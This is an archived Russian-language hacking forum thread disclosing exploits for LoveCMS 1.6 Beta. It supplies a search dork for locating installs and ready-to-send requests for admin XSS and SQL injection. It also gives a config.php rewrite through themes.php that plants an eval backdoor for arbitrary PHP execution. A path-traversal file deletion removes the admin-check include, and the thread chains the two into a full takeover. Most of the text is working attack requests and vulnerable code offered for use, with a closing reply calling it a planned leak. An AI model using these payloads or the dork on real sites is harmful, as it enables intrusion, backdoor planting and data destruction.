PDA

Просмотр полной версии : LoveCMS 1.6Beta


eLWAux
15.04.2009, 17:06
LoveCMS 1.6Beta
http://zentu.net/imgs/products/lovecms.png

Скачать: тынц sourceforge (http://sourceforge.net/project/downloading.php?groupname=lovecms&filename=lovecms_1.6_beta.zip&use_mirror=switch)
dork: "Powered by LoveCMS Green 1.6 Beta"

проверка на админство:
include(LOVE_ROOT . '/system/admin/love_head.php');
if($_SESSION[SESSION_ADMIN] != ADMIN_USER)..die();
во многих файлах идет сначала действие, а потом проверка))

---
AdminXSS & SQlinj
/system/admin/addblock.php

POST: submit=submit&title={XSS1}&content=content&type={insert_SQLinj}--+
в админке админ увидет title (т.е. ксс) при просмотре раздела "Blocks": (/system/admin/blocks.php)
exploit: POST: submit=submit&title=TITLE<script>alert(/a/);</script>&content=CONTENT&type=plain
уязвимий кусок кода:
$db -> db_query("INSERT INTO " . DB_PREFIX . "blocks
(title, content, type, position, height, visible, owner) VALUES (
'" . addslashes($_POST['title']) . "',
'" . addslashes($_POST['content']) . "',
'" . $_POST['type'] . "',
'left',
'0',
'no',
'system')");

---
config.php rewrite
/system/admin/themes.php

POST: submit=submit&theme={config_theme}&
define('THEME', 'LOVE_ROOT'); == define('THEME', $_POST['theme']);

exploit:/system/admin/themes.php?submit=submit&theme=');eval(isset($_GET['c'])?$_GET['c']:'
^^ и получаем шелл: /config.php?c={EVAL}
также можна перезаписать ADMIN_USER, ADMIN_PASS, SESSION_ADMIN и другие конфиг-данные.
/config.php?c=print LOVE_ROOT; - полный путь
уязвимий кусок кода:

if(isset($_POST['submit']))
{
$values = array(array('THEME', $_POST['theme']));
open_config_file();
write_config_file($values);
close_config_file();
redirect_with_message('msg', 'LANG_046');
}..
include(LOVE_ROOT . '/system/admin/love_head.php');

---
XSS & sqlInj
/system/admin/editblock.php

GET: id={номер}&
POST: title={XSS}&content=O_o&type={update_sqlInj}');--+

уязвимий кусок кода:
if(!is_numeric($_GET['id']))
{
redirect_with_message('msg', 'LANG_118', 'blocks.php');
}

if(isset($_POST['submit']))
{
$db -> db_query("UPDATE " . DB_PREFIX . "blocks SET
title = '" . addslashes($_POST['title']) . "',
content = '" . addslashes($_POST['content']) . "',
type = '" . $_POST['type'] . "'
WHERE id = '" . $_GET['id'] . "'");

redirect_with_message('msg', 'LANG_119', 'blocks.php');
}

include(LOVE_ROOT . '/system/admin/love_head.php');

---
удаления любого блока
/system/admin/blocks.php

^^ удаление БЛОКА с табл. _blocks с id=$_GET[delete]
GET: delete={номер}&

уязвимий кусок кода:
if(isset($_GET['delete']))
{
if(is_numeric($_GET['delete']))
{
$db -> db_query("DELETE FROM " . DB_PREFIX . "blocks
WHERE id = '" . $_GET['delete'] . "'");

redirect_with_message('msg', 'LANG_111');
}
}
...
include(LOVE_ROOT . '/system/admin/love_head.php');

---
удаление файлов
/system/admin/images.php

GET: delete={site.com/uploads/FILENAME}

уязвимий кусок кода:
if($_GET['delete'])
{

$filename = $_GET['delete'];
$sql = $db -> db_query("DELETE FROM " . DB_PREFIX . "images
WHERE filename = '$filename'");
unlink(LOVE_ROOT . '/uploads/' . $filename);
unlink(LOVE_ROOT . '/uploads/thumbs/' . $filename);
redirect_with_message('msg', 'LANG_088');
}
include(LOVE_ROOT . '/system/admin/love_head.php');


---
phpinfo
удаляем проверку на админа:
/system/admin/images.php?delete=../system/admin/love_head.php
смотрим phpinfo:
/system/admin/phpinfo.php
или:
перезаписиваем config.php:
/system/admin/themes.php?submit=submit&theme=');eval(isset($_GET['c'])?$_GET['c']:'
выполняем команду phpinfo() :
/config.php?c=phpinfo();

Jokester
23.04.2010, 15:17
плановый слив РОА